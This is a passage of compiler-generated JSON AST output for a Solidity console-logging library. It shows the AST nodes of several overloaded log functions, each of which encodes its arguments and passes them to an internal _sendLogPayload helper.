tifier":"t_stringliteral_3d0e9de46a80fe11d0044e9599dfddd0e8b842cabe189638f7090f19867918c1","typeString":"literal_string \"log(address,uint,uint,uint)\""},"value":"log(address,uint,uint,uint)"},{"id":22279,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22266,"src":"54758:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22280,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22268,"src":"54762:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22281,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22270,"src":"54766:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22282,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22272,"src":"54770:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3d0e9de46a80fe11d0044e9599dfddd0e8b842cabe189638f7090f19867918c1","typeString":"literal_string \"log(address,uint,uint,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22276,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54703:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22277,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54707:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54703:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54703:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22275,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"54687:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22284,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54687:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22285,"nodeType":"ExpressionStatement","src":"54687:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54620:3:14","parameters":{"id":22273,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22266,"mutability":"mutable","name":"p0","nameLocation":"54632:2:14","nodeType":"VariableDeclaration","scope":22287,"src":"54624:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22265,"name":"address","nodeType":"ElementaryTypeName","src":"54624:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22268,"mutability":"mutable","name":"p1","nameLocation":"54641:2:14","nodeType":"VariableDeclaration","scope":22287,"src":"54636:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22267,"name":"uint","nodeType":"ElementaryTypeName","src":"54636:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22270,"mutability":"mutable","name":"p2","nameLocation":"54650:2:14","nodeType":"VariableDeclaration","scope":22287,"src":"54645:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22269,"name":"uint","nodeType":"ElementaryTypeName","src":"54645:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22272,"mutability":"mutable","name":"p3","nameLocation":"54659:2:14","nodeType":"VariableDeclaration","scope":22287,"src":"54654:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22271,"name":"uint","nodeType":"ElementaryTypeName","src":"54654:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"54623:39:14"},"returnParameters":{"id":22274,"nodeType":"ParameterList","parameters":[],"src":"54677:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22310,"nodeType":"FunctionDefinition","src":"54787:181:14","nodes":[],"body":{"id":22309,"nodeType":"Block","src":"54862:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c75696e742c737472696e6729","id":22301,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54912:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_89340dab4d23e956541beb32775ccfee8376ba263886dd811a646420a3a403a3","typeString":"literal_string \"log(address,uint,uint,string)\""},"value":"log(address,uint,uint,string)"},{"id":22302,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22289,"src":"54945:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22303,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22291,"src":"54949:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22304,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22293,"src":"54953:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22305,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22295,"src":"54957:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_89340dab4d23e956541beb32775ccfee8376ba263886dd811a646420a3a403a3","typeString":"literal_string \"log(address,uint,uint,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22299,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54888:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22300,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54892:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54888:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54888:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22298,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"54872:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22307,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54872:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22308,"nodeType":"ExpressionStatement","src":"54872:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54796:3:14","parameters":{"id":22296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22289,"mutability":"mutable","name":"p0","nameLocation":"54808:2:14","nodeType":"VariableDeclaration","scope":22310,"src":"54800:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22288,"name":"address","nodeType":"ElementaryTypeName","src":"54800:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22291,"mutability":"mutable","name":"p1","nameLocation":"54817:2:14","nodeType":"VariableDeclaration","scope":22310,"src":"54812:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22290,"name":"uint","nodeType":"ElementaryTypeName","src":"54812:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22293,"mutability":"mutable","name":"p2","nameLocation":"54826:2:14","nodeType":"VariableDeclaration","scope":22310,"src":"54821:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22292,"name":"uint","nodeType":"ElementaryTypeName","src":"54821:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22295,"mutability":"mutable","name":"p3","nameLocation":"54844:2:14","nodeType":"VariableDeclaration","scope":22310,"src":"54830:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22294,"name":"string","nodeType":"ElementaryTypeName","src":"54830:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54799:48:14"},"returnParameters":{"id":22297,"nodeType":"ParameterList","parameters":[],"src":"54862:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22333,"nodeType":"FunctionDefinition","src":"54974:170:14","nodes":[],"body":{"id":22332,"nodeType":"Block","src":"55040:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c75696e742c626f6f6c29","id":22324,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55090:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ec4ba8a24543362f628480c68bc2d6749e97ab33d46530db336a528c77e48393","typeString":"literal_string \"log(address,uint,uint,bool)\""},"value":"log(address,uint,uint,bool)"},{"id":22325,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22312,"src":"55121:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22326,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22314,"src":"55125:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22327,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22316,"src":"55129:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22328,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22318,"src":"55133:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ec4ba8a24543362f628480c68bc2d6749e97ab33d46530db336a528c77e48393","typeString":"literal_string \"log(address,uint,uint,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22322,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55066:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22323,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55070:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55066:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55066:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22321,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55050:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22330,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55050:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22331,"nodeType":"ExpressionStatement","src":"55050:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54983:3:14","parameters":{"id":22319,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22312,"mutability":"mutable","name":"p0","nameLocation":"54995:2:14","nodeType":"VariableDeclaration","scope":22333,"src":"54987:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22311,"name":"address","nodeType":"ElementaryTypeName","src":"54987:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22314,"mutability":"mutable","name":"p1","nameLocation":"55004:2:14","nodeType":"VariableDeclaration","scope":22333,"src":"54999:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22313,"name":"uint","nodeType":"ElementaryTypeName","src":"54999:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22316,"mutability":"mutable","name":"p2","nameLocation":"55013:2:14","nodeType":"VariableDeclaration","scope":22333,"src":"55008:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22315,"name":"uint","nodeType":"ElementaryTypeName","src":"55008:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22318,"mutability":"mutable","name":"p3","nameLocation":"55022:2:14","nodeType":"VariableDeclaration","scope":22333,"src":"55017:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22317,"name":"bool","nodeType":"ElementaryTypeName","src":"55017:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"54986:39:14"},"returnParameters":{"id":22320,"nodeType":"ParameterList","parameters":[],"src":"55040:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22356,"nodeType":"FunctionDefinition","src":"55150:176:14","nodes":[],"body":{"id":22355,"nodeType":"Block","src":"55219:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c75696e742c6164647265737329","id":22347,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55269:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1ef634347c2e4a2aa1a4e4e13d33bf0169f02bc4d10ff6168ca604cf3134d957","typeString":"literal_string \"log(address,uint,uint,address)\""},"value":"log(address,uint,uint,address)"},{"id":22348,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22335,"src":"55303:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22349,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22337,"src":"55307:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22350,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22339,"src":"55311:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22351,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22341,"src":"55315:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1ef634347c2e4a2aa1a4e4e13d33bf0169f02bc4d10ff6168ca604cf3134d957","typeString":"literal_string \"log(address,uint,uint,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22345,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55245:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22346,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55249:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55245:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55245:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22344,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55229:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22353,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55229:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22354,"nodeType":"ExpressionStatement","src":"55229:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55159:3:14","parameters":{"id":22342,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22335,"mutability":"mutable","name":"p0","nameLocation":"55171:2:14","nodeType":"VariableDeclaration","scope":22356,"src":"55163:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22334,"name":"address","nodeType":"ElementaryTypeName","src":"55163:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22337,"mutability":"mutable","name":"p1","nameLocation":"55180:2:14","nodeType":"VariableDeclaration","scope":22356,"src":"55175:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22336,"name":"uint","nodeType":"ElementaryTypeName","src":"55175:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22339,"mutability":"mutable","name":"p2","nameLocation":"55189:2:14","nodeType":"VariableDeclaration","scope":22356,"src":"55184:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22338,"name":"uint","nodeType":"ElementaryTypeName","src":"55184:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22341,"mutability":"mutable","name":"p3","nameLocation":"55201:2:14","nodeType":"VariableDeclaration","scope":22356,"src":"55193:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22340,"name":"address","nodeType":"ElementaryTypeName","src":"55193:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"55162:42:14"},"returnParameters":{"id":22343,"nodeType":"ParameterList","parameters":[],"src":"55219:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22379,"nodeType":"FunctionDefinition","src":"55332:181:14","nodes":[],"body":{"id":22378,"nodeType":"Block","src":"55407:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c737472696e672c75696e7429","id":22370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55457:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f512cf9b6f6b16313e82164dab4a017b25c36dde729112fd1b69de438557701b","typeString":"literal_string \"log(address,uint,string,uint)\""},"value":"log(address,uint,string,uint)"},{"id":22371,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22358,"src":"55490:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22372,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22360,"src":"55494:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22373,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22362,"src":"55498:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22374,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22364,"src":"55502:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f512cf9b6f6b16313e82164dab4a017b25c36dde729112fd1b69de438557701b","typeString":"literal_string \"log(address,uint,string,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22368,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55433:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22369,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55437:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55433:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55433:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22367,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55417:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55417:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22377,"nodeType":"ExpressionStatement","src":"55417:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55341:3:14","parameters":{"id":22365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22358,"mutability":"mutable","name":"p0","nameLocation":"55353:2:14","nodeType":"VariableDeclaration","scope":22379,"src":"55345:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22357,"name":"address","nodeType":"ElementaryTypeName","src":"55345:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22360,"mutability":"mutable","name":"p1","nameLocation":"55362:2:14","nodeType":"VariableDeclaration","scope":22379,"src":"55357:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22359,"name":"uint","nodeType":"ElementaryTypeName","src":"55357:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22362,"mutability":"mutable","name":"p2","nameLocation":"55380:2:14","nodeType":"VariableDeclaration","scope":22379,"src":"55366:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22361,"name":"string","nodeType":"ElementaryTypeName","src":"55366:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22364,"mutability":"mutable","name":"p3","nameLocation":"55389:2:14","nodeType":"VariableDeclaration","scope":22379,"src":"55384:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22363,"name":"uint","nodeType":"ElementaryTypeName","src":"55384:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55344:48:14"},"returnParameters":{"id":22366,"nodeType":"ParameterList","parameters":[],"src":"55407:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22402,"nodeType":"FunctionDefinition","src":"55519:192:14","nodes":[],"body":{"id":22401,"nodeType":"Block","src":"55603:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c737472696e672c737472696e6729","id":22393,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55653:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e56c693294848e354fd0e0f30db9c459984681d518306ec606cfd6f328a5ba0","typeString":"literal_string \"log(address,uint,string,string)\""},"value":"log(address,uint,string,string)"},{"id":22394,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22381,"src":"55688:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22395,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22383,"src":"55692:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22396,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22385,"src":"55696:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22397,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22387,"src":"55700:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7e56c693294848e354fd0e0f30db9c459984681d518306ec606cfd6f328a5ba0","typeString":"literal_string \"log(address,uint,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22391,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55629:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22392,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55633:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55629:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55629:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22390,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55613:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 